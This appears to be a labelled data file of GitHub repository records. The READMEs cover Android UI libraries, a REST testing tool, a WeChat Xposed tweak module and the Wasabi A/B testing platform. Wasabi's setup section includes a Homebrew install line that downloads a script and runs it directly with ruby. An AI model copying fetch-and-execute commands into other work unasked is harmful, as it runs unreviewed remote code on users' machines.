* [北京师范大学](http://www.bnu.edu.cn)
* 我的站点: [代码家](http://www.daimajia.com)
* 我的微博:[代码家](http://weibo.com/daimajia)
* Twitter:[daimajia](http://twitter.com/daimajia)
* Instagram:[daimajia](http://instagram.com/daimajia)
欢迎Follow我，我会关注和开源一些Android、Node、Python、Java相关项目。
| 0 |
fqrouter/fqrouter | anti-GFW router | null | [](https://play.google.com/store/apps/details?id=fq.router2)
<a href="http://www.jetbrains.com/idea/">
<img src="http://www.jetbrains.com/idea/opensource/img/all/banners/idea125x37_blue.gif"/>
</a>
fqrouter released under the terms of GPL v3.0
[](https://bitdeli.com/free "Bitdeli Badge")
| 0 |
KunMinX/Linkage-RecyclerView | 即使不用饿了么订餐，也请务必收藏好该库！🔥 一行代码即可接入，二级联动订餐列表。 | android-library androidx eleme linkage meituan mvp mvp-android mvp-architecture recyclerview | ## 真香警告：即使不用饿了么订餐，也请务必收藏好该库！
## 由来
Linkage-RecyclerView 是一款基于 “MVP 架构(依赖倒置原则)” 开发的二级联动列表控件。它是因 [“RxJava 魔法师”](https://github.com/KunMinX/RxJava2-Operators-Sample) 项目需求而存在。
最初寻遍 GitHub 也未找到合适开源库，于是决定另起炉灶，编写 **高度解耦、轻松配置、可通过 Maven 仓库远程依赖** 的真正第三方库。
Linkage-RecyclerView 个性化配置十分简单，依托于 MVP “配置解耦” 特性，使用者无需研究内部逻辑，仅通过实现 Config 类即可完成功能定制和扩展。
此外，在不设置自定义配置情况下，Linkage-RecyclerView 最少只需 **一行代码即可运行**。
| RxJava Magician | Eleme Linear | Eleme Grid |
| :----------------------------------------------------------: | :----------------------------------------------------------: | :----------------------------------------------------------: |
|  |  |  |
## 目标
Linkage-RecyclerView 目标是：**一行代码即可接入二级联动列表**。
除一键接入省去 99% 不必要复杂重复工作外，您还可从该项目获得内容包括：
1. 整洁代码风格和标准资源命名规范。
2. **MVP 架构在编写第三方库的最佳实践：使用者无需了解内部逻辑，简单配置即可使用**。
3. 优秀代码分层和封装思想，在不做任何个性化配置情况下，一行代码即可接入。
4. 主体工程基于前沿 Jetpack 组件。
5. AndroidX 和 Material Design 2 全面使用。
6. ConstraintLayout 约束布局最佳实践。
7. 绝不使用 Dagger，绝不使用奇技淫巧、编写艰深晦涩代码。
如果您正考虑 [**如何为项目挑选合适架构**](https://juejin.cn/post/7106042518457810952)，这项目值得你参考！
## 简单使用：
1.在 build.gradle 添加依赖。
```groovy
implementation 'com.kunminx.linkage:linkage-recyclerview:2.7.0'
```
提示：本库托管于 Maven Central，请自行在根目录 build.gradle 添加 `mavenCentral()`。
2.依据默认分组实体类 `DefaultGroupedItem` 结构准备一串数据。此处以 JSON 为例：
```java
// DefaultGroupedItem.ItemInfo 包含三个字段：
String title //（必填）二级选项的标题
String group //（必填）二级选项所在分组的名称，要和对应的一级选项的标题相同
String content //（选填）二级选项的内容
```
```json
[
{
"header": "优惠",
"isHeader": true
},
{
"isHeader": false,
"info": {
"content": "好吃的食物，增肥神器，有求必应",
"group": "优惠",
"title": "全家桶"
}
},
{
"header": "热卖",
"isHeader": true
},
{
"isHeader": false,
"info": {
"content": "爆款热卖，月销超过 999 件",
"group": "热卖",
"title": "烤全翅"
}
}
]
```
3.布局中引入 LinkageRecyclerView.
```xml
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout
xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:orientation="vertical">
<com.kunminx.linkage.LinkageRecyclerView
android:id="@+id/linkage"
android:layout_width="match_parent"
android:layout_height="match_parent"/>
</LinearLayout>
```
4.得到数据后，最少只需一行代码即可完成初始化。
```java
linkage.init(items);
```
**温馨提示：**
1.实际开发中，项目数据或与本库数据 “结构上存在差异”，故通常做法是，从后端拿到和解析项目 JSON 数据，并对该数据进行遍历。在遍历过程中，实例化并装载 “本库实体类对象” 到列表中，以获本库所能使用的列表数据。（具体可参见 CustomJsonSampleFragment 示例）
2.注意：如后端直接使用本库实体类读写 JSON 数据，请在 ProGuard Rules 中为该实体类配置混淆白名单：
```java
-keep class com.kunminx.linkage.bean.** {*;}
```
## 更多
更多自定义操作详见 [Wiki 解析](https://github.com/KunMinX/Linkage-RecyclerView/wiki/1.%E7%AE%80%E5%8D%95%E4%BD%BF%E7%94%A8)
## Thanks to
[material-components-android](https://github.com/material-components/material-components-android)
[AndroidX](https://developer.android.google.cn/jetpack/androidx)
## My Pages
Email：[kunminx@gmail.com](mailto:kunminx@gmail.com)
Juejin：[KunMinX 在掘金](https://juejin.cn/post/6882949076267057166)
## License
```
Copyright 2018-present KunMinX
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
``` | 0 |
michaldrabik/TapBarMenu | Tap Bar Menu | null | [](https://android-arsenal.com/details/1/2886)
[](http://developer.android.com/index.html)
[](https://android-arsenal.com/api?level=16)
TapBar Menu
===========
Simple library that helps creating a "Tap Bar" menu layout.
Demo 1: https://youtu.be/DjY0cTWWtao
Demo 2: https://youtu.be/dWuPMN6WTOY
## Install
Since version **1.0.6** this library is being distributed via [JitPack](http://jitpack.io/)
**Step 1:**
Add it in your root build.gradle at the end of repositories:
```groovy
allprojects {
repositories {
...
maven { url 'https://jitpack.io' }
}
}
```
**Step 2:**
Add the dependency:
```groovy
dependencies {
implementation 'com.github.michaldrabik:TapBarMenu:1.0.6'
}
```
---
For versions **1.0.5** and older:
Add the dependency to your `build.gradle`:
```groovy
dependencies {
compile 'com.github.michaldrabik:tapbarmenu:1.0.5'
}
```
## Use
Check sample project for a full example.
TapBarMenu is an extension of a LinearLayout so you can simply put it in your XML. For example:
```xml
<com.michaldrabik.tapbarmenulib.TapBarMenu
android:id="@+id/tapBarMenu"
android:layout_width="match_parent"
android:layout_height="56dp"
android:layout_gravity="bottom"
android:layout_marginBottom="24dp"
>
<ImageView
android:id="@+id/item1"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:paddingTop="10dp"
android:paddingBottom="10dp"
android:src="@drawable/ic_thumb_up"
/>
<Space
android:layout_width="56dp"
android:layout_height="match_parent"
/>
<ImageView
android:id="@+id/item2"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:paddingTop="10dp"
android:paddingBottom="10dp"
android:src="@drawable/ic_thumb_down"
/>
</com.michaldrabik.tapbarmenulib.TapBarMenu>
```
This will create a menu with 2 icons in the bottom of the screen.
Then, in your code, call `open()`, `close()` or `toggle()` to open/close the menu:
```java
tapBarMenu.setOnClickListener(new View.OnClickListener() {
@Override public void onClick(View v) {
tapBarMenu.toggle();
}
});
```
*Note: TapBarMenu will always expand to its parent width. You can choose between 2 anchors `bottom` or `top` - see attributes below.*
## Customize
All available XML parameters are listed below:
| Attribute | Format | Description |
| ------------- |:-------------:|:-----:|
| app:tbm_showItems|true, false|Use this to show menu's items in a XML preview window.<br>Useful for designing your menu.<br>*Default: false*|
| app:tbm_backgroundColor|color|Menu color.<br>*Default: red*|
| app:tbm_buttonSize|dimension|Diameter of the menu button.<br>*Default: 56dp*|
| app:tbm_buttonPosition|left, right, center|Position of the menu button.<br>*Default: center*|
| app:tbm_buttonMarginRight|dimension|Button position right margin.<br>*Default: 0*|
| app:tbm_buttonMarginLeft|dimension|Button position left margin.<br>*Default: 0*|
| app:tbm_iconOpened|drawable|Custom icon for opened state. Must be an animated vector drawable.<br>*Default: X icon*|
| app:tbm_iconClosed|drawable|Custom icon for closed state. Must be an animated vector drawable.<br>*Default: Menu icon*|
| app:tbm_menuAnchor|top, bottom|Where menu should expand.<br>*Default: bottom*|
## Kudos
I've been inspired by [Aaron Benjamin's](https://dribbble.com/shots/2345329-Tab-Bar-Animation) great design.
## Release Notes
1.0.6 - Update Android dependencies and migrate to JitPack
<br>1.0.5 - Added Regular Drawable support
<br>1.0.4 - Memory optimizations, onClick listener fixes
<br>1.0.2 - You can now add custom icon via XML or code. See attributes.
<br>1.0.1 - Pre 21 SDK bugfixes
<br>1.0.0 - Initial release
## License
Copyright (C) 2019 Michal Drabik
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
| 0 |
JessYanCoding/ProgressManager | ⏳ Listen the progress of downloading and uploading in Okhttp, compatible Retrofit and Glide (一行代码即可监听 App 中所有网络链接的上传以及下载进度, 包括 Glide 的图片加载进度). | arms glide listen mvparms okhttp progress receiver retrofit | # ProgressManager
[  ](https://bintray.com/jessyancoding/maven/progressmanager/1.5.0/link)
[  ](https://travis-ci.org/JessYanCoding/ProgressManager)
[ ](https://android-arsenal.com/details/1/5865)
[  ](https://developer.android.com/about/versions/android-4.0.html)
[  ](http://www.apache.org/licenses/LICENSE-2.0)
[  ](https://www.jianshu.com/u/1d0c0bc634db)
[  ](https://shang.qq.com/wpa/qunwpa?idkey=7e59e59145e6c7c68932ace10f52790636451f01d1ecadb6a652b1df234df753)
## Listen the progress of downloading and uploading in Okhttp (compatible Retrofit and Glide).
[中文说明](README-zh.md)
## Overview
## Introduction
**ProgressManager** a line of code to listen **App** all the links and upload the progress of the network, including **Glide** picture loading progress, to achieve the principle of similar **EventBus**, you can be in anywhere in **App**, the number of listeners to **Url** address as an identifier, registered to the framework, when this **Url** address haves to download or upload the action, the framework will take the initiative to call All listeners registered with this **Url** address are synchronized to multiple modules.
## Feature
* Easy to use, just a line of code to listen progress.
* Multi-platform support, support **Okhttp** , **Retrofit** , **Glide** ,Use **Okhttp** native **Api** , there is no compatibility problem.
* Low coupling, the actual request and the progress of the receiver does not exist directly or indirectly, that can be anywhere in **App** to receive progress information.
* Low intrusion, use this framework you do not need to change the code before uploading or downloading, ie using or not using this framework does not affect the original code.
* Multi-end synchronization, the same data source upload or download progress can specify a number of different receivers, less to use **EventBus** achieve multiple port synchronization update progress.
* Support multi-file upload.
* Support **URL** redirection.
* Automatic management of the listener, less to manually cancel the trouble of the listener.
* The default run in the main line layer, less to switch the thread of trouble.
* Lightweight framework, does not contain any three-party library, very small size.
## Download
``` gradle
implementation 'me.jessyan:progressmanager:1.5.0'
```
## Usage
### Step 1
``` java
// When building OkHttpClient, the OkHttpClient.Builder() is passed to the with() method to initialize the configuration
OkHttpClient = ProgressManager.getInstance().with(new OkHttpClient.Builder())
.build();
```
### Step 2
``` java
// Glide load
ProgressManager.getInstance().addResponseListener(IMAGE_URL, getGlideListener());
// Okhttp/Retofit download
ProgressManager.getInstance().addResponseListener(DOWNLOAD_URL, getDownloadListener());
// Okhttp/Retofit upload
ProgressManager.getInstance().addRequestListener(UPLOAD_URL, getUploadListener());
```
## ProGuard
```
-keep class me.jessyan.progressmanager.** { *; }
-keep interface me.jessyan.progressmanager.** { *; }
```
## About Me
* **Email**: <jess.yan.effort@gmail.com>
* **Home**: <http://jessyan.me>
* **掘金**: <https://juejin.im/user/57a9dbd9165abd0061714613>
* **简书**: <https://www.jianshu.com/u/1d0c0bc634db>
## License
```
Copyright 2017, jessyan
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
```
| 0 |
WuXiaolong/PullLoadMoreRecyclerView | 实现RecyclerView下拉刷新和上拉加载更多以及RecyclerView线性、网格、瀑布流效果演示 | null | > 实现RecyclerView下拉刷新和上拉加载更多以及RecyclerView线性、网格、瀑布流效果演示。如果你只需要简单地实现下拉刷新和上拉加载效果，不需要定制，那PullLoadMoreRecyclerView最适合不过。
# 效果预览
# 使用方法
## build.gradle文件
```java
dependencies {
compile 'com.wuxiaolong.pullloadmorerecyclerview:library:1.1.2'
}
```
## xml引用
```xml
<com.wuxiaolong.pullloadmorerecyclerview.PullLoadMoreRecyclerView
android:id="@+id/pullLoadMoreRecyclerView"
android:layout_width="match_parent"
android:layout_height="match_parent" />
```
## 设置线性布局
```java
mPullLoadMoreRecyclerView = (PullLoadMoreRecyclerView) view.findViewById(R.id.pullLoadMoreRecyclerView);
mPullLoadMoreRecyclerView.setLinearLayout();
```
## 设置网格布局
```java
mPullLoadMoreRecyclerView.setGridLayout(2);//参数为列数
```
## 设置交错网格布局，即瀑布流效果
```java
mPullLoadMoreRecyclerView.setStaggeredGridLayout(2);//参数为列数
```
## 绑定适配器
```java
mRecyclerViewAdapter = new RecyclerViewAdapter();
mPullLoadMoreRecyclerView.setAdapter(mRecyclerViewAdapter);
public class RecyclerViewAdapter extends RecyclerView.Adapter<RecyclerViewAdapter.ViewHolder> {
public RecyclerViewAdapter() {
}
@Override
public ViewHolder onCreateViewHolder(ViewGroup parent, int viewType) {
View view = LayoutInflater.from(parent.getContext()).inflate(R.layout.recycler_view_item, parent, false);
return new ViewHolder(view);
}
@Override
public void onBindViewHolder(ViewHolder holder, int position) {
}
@Override
public int getItemCount() {
return 0;
}
public class ViewHolder extends RecyclerView.ViewHolder {
public ViewHolder(View itemView) {
super(itemView);
}
}
}
```
## 调用下拉刷新和加载更多
```java
mPullLoadMoreRecyclerView.setOnPullLoadMoreListener(new PullLoadMoreRecyclerView.PullLoadMoreListener() {
@Override
public void onRefresh() {
}
@Override
public void onLoadMore() {
}
});
```
## 刷新结束
```java
mPullLoadMoreRecyclerView.setPullLoadMoreCompleted();
```
## 其他方法
### 显示下拉刷新
```
mPullLoadMoreRecyclerView.setRefreshing(true);
```
### 不需要下拉刷新
```java
mPullLoadMoreRecyclerView.setPullRefreshEnable(false);
```
### 不需要上拉刷新
```java
mPullLoadMoreRecyclerView.setPushRefreshEnable(false);
```
### 设置上拉刷新文字
```java
mPullLoadMoreRecyclerView.setFooterViewText("loading");
```
### 设置上拉刷新文字颜色
```java
mPullLoadMoreRecyclerView.setFooterViewTextColor(R.color.white);
```
### 设置加载更多背景色
```java
mPullLoadMoreRecyclerView.setFooterViewBackgroundColor(R.color.colorBackground);
```
### 设置下拉刷新颜色
```java
mPullLoadMoreRecyclerView.setColorSchemeResources(android.R.color.holo_red_dark,android.R.color.holo_blue_dark);
```
### 快速Top
```java
mPullLoadMoreRecyclerView.scrollToTop();
```
# 联系我
我的微信公众号：吴小龙同学，欢迎关注交流。
# 个人博客
[http://wuxiaolong.me/](http://wuxiaolong.me/)
# 作者微博
[吴小龙同學](http://weibo.com/u/2175011601)
# License
[Apache-2.0](https://opensource.org/licenses/apache2.0.php)
| 0 |
wiztools/rest-client | Tool to test HTTP/RESTful webservices. | null | # WizTools.org RESTClient
## About
RESTClient is a Java application to test RESTful webservices. It can be used to test variety of HTTP communications. There are two executables:
* GUI version (restclient-ui-X.jar download)
* Cli version for batch execution of .rcq files (restclient-cli-X.jar download)
### Since 2007
The first version of RESTClient was released late 2007. Since then the tool has been in continuous development. Visit [project news page](https://github.com/wiztools/rest-client/wiki/News) for history of releases.
### Download / Install
Mac users can use [homebrew](https://brew.sh) to install:
```
brew cask install wiztools/repo/restclient
```
Release binaries are available from [GitHub releases](https://github.com/wiztools/rest-client/releases).
Archives of pre-GitHub era release-builds are available at [WizTools.org Download](http://download.wiztools.org/rest-client/archive/index.html).
### Support
Post your queries in [Google Group mailing list](https://groups.google.com/forum/#!forum/rest-client).
### Book
[](http://www.amazon.com/dp/B00KEADQF2?tag=wiztooorg-20)
### Screenshot
3.7.1 release:
[](https://www.flickr.com/photos/subwiz/45604489274/)
More screenshots here: http://flickr.com/photos/subwiz/tags/restclient/
### Subscribing to New Releases
Releases and product information is published in the following channels:
* [Blog](http://blog.wiztools.org/)
| 0 |
firesunCN/WechatEnhancement | 仅供学习交流，禁止用于其他用途，请及时删除，禁止任何公司或个人发布与传播，不接受任何捐赠 | null | # WechatEnhancement
需要Xposed，同时支持太极与[VirtualXposed](https://github.com/android-hacker/VirtualXposed) 。仅供学习交流，禁止用于其他用途，学习后请及时删除，禁止任何公司或个人发布与传播，同时也不接受任何捐赠。
## 支持的微信版本
- 理论上支持微信全版本，自适应方式采用微信巫师的自动搜索方式，所以理论上即使微信升级也可继续支持
- 已测试通过的微信版本：6.6.0，6.7.3，7.0.0，8.0.2
## 支持功能
- 接收红包
- 接收转账 **（恢复聊天记录时务必关闭此功能）**
- 消息防撤回
- 朋友圈防删除
- 电脑端微信自动登录
- 突破发送图片9张限制
## 效果预览
<img src="https://raw.githubusercontent.com/firesunCN/WechatEnhancement/master/image/screenshot1.jpg" width="45%" /> <img src="https://raw.githubusercontent.com/firesunCN/WechatEnhancement/master/image/screenshot2.jpg" width="45%" />
<img src="https://raw.githubusercontent.com/firesunCN/WechatEnhancement/master/image/screenshot3.jpg" width="45%" />
## 致谢
本项目为以下三个项目的融合，使用Java重（chao）写（xi）了微信巫师的自动搜索hook类的功能，并应用在抢红包和自动接收转账上，使得以上功能都能自动适配微信，在此十分感谢veryyoung，Gh0u1L5，wuxiaosu
[WechatLuckyMoney](https://github.com/veryyoung/WechatLuckyMoney)
[WechatMagician](https://github.com/Gh0u1L5/WechatMagician)
[XposedWechatHelper](https://github.com/wuxiaosu/XposedWechatHelper)
| 0 |
parzulpan/livebox | A cross-platform network media aggregation application | cross-platform electron hdtv live live-video livebox livestream media radio-station service-mesh | <div align="center"><img src="docs/logo@128x128.png"></img></div>
<h1 align="center">LiveBox</h1>
<div align="center">简体中文 | <a href="README-EN.md">English</a></div>
> 一个跨平台的网络媒体聚合应用，支持直播视频、高清电视和广播电台的在线观看或收听。
## 快速开始
待更新...
## 项目架构
待更新...
## 开源协议
本项目遵循 [GNU General Public License v3.0](./LICENSE)，如果要修改源码进行二次开发需要遵守以下协议：
1. 如果要在网络上分发，那么必须开源；
2. 不能以盈利为目的，不能插入任何形式的广告；
3. 注明原项目出处；
4. 继承相同协议。
## 免责声明
该项目仅能用于计算机技术的学习交流和在法律允许范围内的使用，任何个人或集体不得使用该项目进行任何违反相关法律法规的活动。任何尝试下载或下载该项目任意分支或发行版的，即代表您同意本项目作者及贡献者不承担任何由于您违反以上准则所带来的任何法律责任。
## 参考致谢
* [real-url](https://github.com/wbt5/real-url)
## Star History
[](https://star-history.com/#parzulpan/livebox&Date)
| 0 |
intuit/wasabi | Wasabi A/B Testing service is an open source project that is no longer under active development or being supported | null | Wasabi A/B Testing service is an open source project that is no longer under active development or being supported
# Wasabi - A/B Testing Platform
**Support:** [](https://gitter.im/intuit/wasabi?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge) <br/>
**Documentation:** [User Guide](https://intuit.github.io/wasabi/v1/guide/index.html), [JavaDocs](https://intuit.github.io/wasabi/v1/javadocs/latest/)
<br/>
**A/B Testing Overview:** [](https://www.youtube.com/watch?v=_HtvJwBPUqk&feature=youtu.be) [](https://medium.com/blueprint-by-intuit/open-sourcing-wasabi-the-a-b-testing-platform-by-intuit-a8d5abc958d) [](https://medium.com/blueprint-by-intuit/the-architecture-behind-wasabi-an-open-source-a-b-testing-platform-b52430d3fd80) <br/>
**Continuous Integration:** [](https://travis-ci.org/intuit/wasabi)
[](https://coveralls.io/github/intuit/wasabi?branch=develop)
[](https://maven-badges.herokuapp.com/maven-central/com.intuit.wasabi/wasabi) <br/>
**License:** [](http://www.apache.org/licenses/LICENSE-2.0) <br/>
## Project
Wasabi A/B Testing Service is a real-time, enterprise-grade, 100% API driven project. Users are empowered to own their own data, and run experiments across web, mobile, and desktop. It’s fast, easy to use, it’s chock full of features, and instrumentation is minimal.
Learn more about how Wasabi can empower your team to move from hunches to actionable, data-driven user insights with our simple, flexible, and scalable experimentation platform.
### Features
* **Own your own data** - Wasabi runs on your servers, in the cloud or on-premise, where you have complete control over your data.
* **Proven** - Wasabi is battle-tested in production at Intuit, Inc., a financial technology company. Wasabi is the experimentation platform for TurboTax, QuickBooks, Mint.com, and other Intuit offerings.
* **High Performance** - Consistent server-side response times for user assignments within 30ms.
* **100% API-Driven** - The Wasabi REST API is compatible with any language and environment.
* **Platform Agnostic** - Uniform, consistent testing across Web, mobile, desktop. Also supports front-end, back-end integrations.
* **Real-time user assignments** - Assign users into experiments in real time, to preserve traffic for other parallel A/B tests.
* **Cloud and on-premise** - Designed to live in the cloud or in your own data center.
* **Analytics** - Core experiment analytics and metrics visualization out of the box, as well as the ability to send data to your existing analytics infrastructure.
* **Pluggable** - Well-defined interfaces for plugging in your own access control, sending data to data pipelines, and providing fully custom bucket allocations.
* **Experiment Management UI** - Setup and manage experiments via a modern Web interface. Management via REST API is also possible.
* **Dockerized** - Spin up a Wasabi Docker instance in 5 minutes and be in production with the platform, instrumentation, and experiments within a day.
### User Interface
* **Create an experiment and its buckets:**
* **Filter which customers are considered for your experiment:**
* **Follow your currently running experiments:**
* **Track your experiment results in real-time:**
## Get Started
The following steps will help you install the needed tools, then build and run a complete Wasabi stack.
#### Bootstrap Your Environment
##### Mac OS
```bash
% /usr/bin/ruby \
-e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"
% brew install git
% git clone https://github.com/intuit/wasabi.git
% cd wasabi
% ./bin/wasabi.sh bootstrap
```
Installed tools include: [homebrew 0.9](http://brew.sh), [git 2](https://git-scm.com),
[maven 3](https://maven.apache.org), [java 1.8](http://www.oracle.com/technetwork/java/javase/overview/index.html),
[docker 1.12](https://docker.com), [node 6](https://nodejs.org/en) and [python 2.7](https://www.python.org).
##### Ubuntu
Bootstrapping on Ubuntu requires sudo privileges to install all the required dependencies. You will be prompted to enter your password. Currently only 16.04 (x64) is supported.
```bash
% sudo apt-get install git
% git clone https://github.com/intuit/wasabi.git
% cd wasabi
% ./bin/wasabi.sh bootstrap
% sudo reboot
```
NOTE: A reboot is required after running the bootstrap command on Ubuntu.
For all other processes (build, start etc.) the commands are same for Ubuntu and Mac OS.
Installed tools include: [git 2](https://git-scm.com),
[maven 3](https://maven.apache.org), [OpenJdk 8](http://openjdk.java.net/projects/jdk8/),
[docker 1.12](https://docker.com), [node 6](https://nodejs.org/en) and [python 2.7](https://www.python.org)
Similar tooling will work for Windows. Contribute a patch :)
#### Start Wasabi
Now that we have the necessary tools in place, let's move on to build and start Wasabi, followed by issuing a _ping_
command to verify the build:
```bash
% ./bin/wasabi.sh build start
...
wasabi is operational:
ui: % open http://localhost:8080 note: sign in as admin/admin
ping: % curl -i http://localhost:8080/api/v1/ping
debug: attach to localhost:8180
% curl -i http://localhost:8080/api/v1/ping
HTTP/1.1 200 OK
Date: Wed, 25 May 2016 00:25:47 GMT
...
X-Application-Id: wasabi-api-20151215171929-SNAPSHOT-development
Content-Type: application/json
Transfer-Encoding: chunked
Server: Jetty(9.3.z-SNAPSHOT)
{
"componentHealths":[
{
"componentName":"Experiments Cassandra",
"healthy":true
},
{
"componentName":"MySql","healthy":true
}
],
"wasabiVersion":"wasabi-api-20151215171929-SNAPSHOT-development"
}
```
Congratulations! You are the proud owner of a newly minted Wasabi instance. :)
### Running Wasabi with remote storage
##### Set Mysql and Cassandra credentials
* Modify /pom.xml to set the values that apply to your environment
##### Download Cassandra migration tool https://oss.sonatype.org/content/repositories/public/com/builtamont/cassandra-migration/0.9/cassandra-migration-0.9-jar-with-dependencies.jar
##### Set up your environment variables
* Set location of the migration tool
```bash
export CASSANDRA_MIGRATION=/location/of/cassandra-migration-0.9-jar-with-dependencies.jar
```
* Set location of migration scripts within your project
```bash
export MIGRATION_SCRIPT=/location/of/modules/repository-datastax/src/main/resources/com/intuit/wasabi/repository/impl/cassandra/migration
```
##### Set up Cassandra tables
```bash
CQLSH_VERSION=<version> CQLSH_USERNAME=<username> CQLSH_PASSWORD=<pwd> CQLSH_HOST=<host> bin/docker/migration.sh
```
##### Run Wasabi with env variables for remote storage hosts
```bash
MYSQL_HOST=<mysql_host> NODE_HOST=<cassandra_host> ./bin/wasabi.sh start:wasabi
```
##### Run Wasabi outside of docker with WASABI_CONFIGURATION for remote storage hosts
```bash
WASABI_CONFIGURATION="
-Ddatabase.url.host=$MYSQL_HOST\
-Ddatabase.url.port=$MYSQL_PORT\
-Ddatabase.url.dbname=$MYSQL_DATABASE\
-Ddatabase.user=$MYSQL_USER\
-Ddatabase.password=$MYSQL_PASSWORD\
-Ddatabase.pool.connections.min=$MYSQL_MIN_CONNECTIONS\
-Ddatabase.pool.connections.max=$MYSQL_MAX_CONNECTIONS\
-Dusername=$CASSANDRA_USER\
-Dpassword=$CASSANDRA_PASSWORD\
-DnodeHosts=$CASSANDRA_HOST\
-DtokenAwareLoadBalancingLocalDC=$CASSANDRA_DATACENTER\
-Dapplication.http.port=$PORT" bash usr/local/wasabi-main-*/bin/run
```
#### Troubleshooting
* While starting Wasabi, if you see an error when the docker containers are starting up, you could do the following:
* Look at the current docker containers that have been successfully started.
```bash
% ./bin/wasabi.sh status
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
8c12458057ef wasabi-main "entrypoint.sh wasabi" 25 minutes ago Up 25 minutes 0.0.0.0:8080->8080/tcp, 0.0.0.0:8090->8090/tcp, 0.0.0.0:8180->8180/tcp wasabi-main
979ecc885239 mysql:5.6 "docker-entrypoint.sh" 26 minutes ago Up 26 minutes 0.0.0.0:3306->3306/tcp wasabi-mysql
2d33a96abdcb cassandra:2.1 "/docker-entrypoint.s" 27 minutes ago Up 27 minutes 7000-7001/tcp, 0.0.0.0:9042->9042/tcp, 7199/tcp, 0.0.0.0:9160->9160/tcp wasabi-cassandra
```
* The above shell output shows a successful start of 3 docker containers needed by Wasabi: wasabi-main (the Wasabi server),
wasabi-mysql, and wasabi-cassandra. If any of these are not running, try starting them individually. For example, if the
MySQL container is running, but Cassandra and Wasabi containers failed to start (perhaps due to a network timeout docker
could not download the Cassandra image), do the following:
```bash
% ./bin/wasabi.sh start:cassandra
% ./bin/wasabi.sh start:wasabi
```
#### Call Wasabi
These are the 3 common REST endpoints that you will use to instrument your client application with Wasabi.
Let's assume that you've created and started an experiment, 'BuyButton,' in the 'Demo_App' application with the following buckets:
* 'BucketA': green button (control bucket)
* 'BucketB': orange button bucket
You can assign a user with a unique ID (e.g. 'userID1') to the experiment by making this HTTP request:
> Assign a user to experiment and bucket:
```bash
% curl -H "Content-Type: application/json" \
http://localhost:8080/api/v1/assignments/applications/Demo_App/experiments/BuyButton/users/userID1
{
"cache":true,
"payload":"green",
"assignment":"BucketA",
"context":"PROD",
"status":"NEW_ASSIGNMENT"
}
```
Now the 'userID1' user is assigned into the 'BucketA' bucket. Let's further record an impression, meaning the user has seen a given experience:
> Record an impression:
```bash
% curl -H "Content-Type: application/json" \
-d "{\"events\":[{\"name\":\"IMPRESSION\"}]}" \
http://localhost:8080/api/v1/events/applications/Demo_App/experiments/BuyButton/users/userID1
```
If the 'userID1' user performs an action such as clicking the Buy button, you'd record that action with the following request:
> Record an action:
```bash
% curl -H "Content-Type: application/json" \
-d "{\"events\":[{\"name\":\"BuyClicked\"}]}" \
http://localhost:8080/api/v1/events/applications/Demo_App/experiments/BuyButton/users/userID1
```
#### Explore Various Resources
The following developer resources are available:
> API: Swagger API playground
```bash
% ./bin/wasabi.sh resource:api
```
> Javadoc
```bash
% ./bin/wasabi.sh resource:doc
```
> Wasabi UI
```bash
% ./bin/wasabi.sh resource:ui
```
> Cassandra: cqlsh shell
```bash
% ./bin/wasabi.sh resource:cassandra
```
> MySQL: mysql shell
```bash
% ./bin/wasabi.sh resource:mysql
```
> Java Debugger: Remote attach configuration
```bash
-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=8180
```
#### Stop Wasabi
Alas, all good things must come to an end. Let's clean things up a bit stop the newly created Wasabi stack:
At this point in time, we now have all the requisite tools installed, and subsequent invocations of Wasabi will
start up much more quickly.
```bash
% ./bin/wasabi.sh stop
```
#### Get Familiar with wasabi.sh
Further, there are a number of additional wasabi.sh options available you should become familiar with:
```bash
% ./bin/wasabi.sh --help
usage: wasabi.sh [options] [commands]
options:
-e | --endpoint [ host:port ] : api endpoint; default: localhost:8080
-v | --verify [ true | false ] : verify installation configuration; default: false
-s | --sleep [ sleep-time ] : sleep/wait time in seconds; default: 30
-h | --help : help message
commands:
bootstrap : install dependencies
build : build project
start[:cassandra,mysql,wasabi] : start all, cassandra, mysql, wasabi
test : test wasabi
stop[:wasabi,cassandra,mysql] : stop all, wasabi, cassandra, mysql
resource[:ui,api,doc,cassandra,mysql] : open resource api, javadoc, cassandra, mysql
status : display resource status
remove[:wasabi,cassandra,mysql] : remove all, wasabi, cassandra, mysql
package : build deployable packages
release[:start,finish] : promote release
```
## Develop
#### Build and Run Wasabi Server
```bash
% mvn package
% ./bin/wasabi.sh start:cassandra,mysql
% (cd modules/main/target; \
WASABI_CONFIGURATION="-DnodeHosts=localhost -Ddatabase.url.host=localhost" ./wasabi-main-*-SNAPSHOT-development/bin/run) &
% curl -i http://localhost:8080/api/v1/ping
...
```
The runtime logs can be accessed executing the following command in a another shell:
> Viewing runtime logs:
```bash
% tail -f modules/main/target/wasabi-main-*-SNAPSHOT-development/logs/wasabi-main-*-SNAPSHOT-development.log
```
#### Build and Run Wasabi UI
```bash
% cd modules/ui
% grunt build
```
```bash
% grunt serve
```
#### Stop Wasabi
```bash
% ./bin/wasabi.sh stop
```
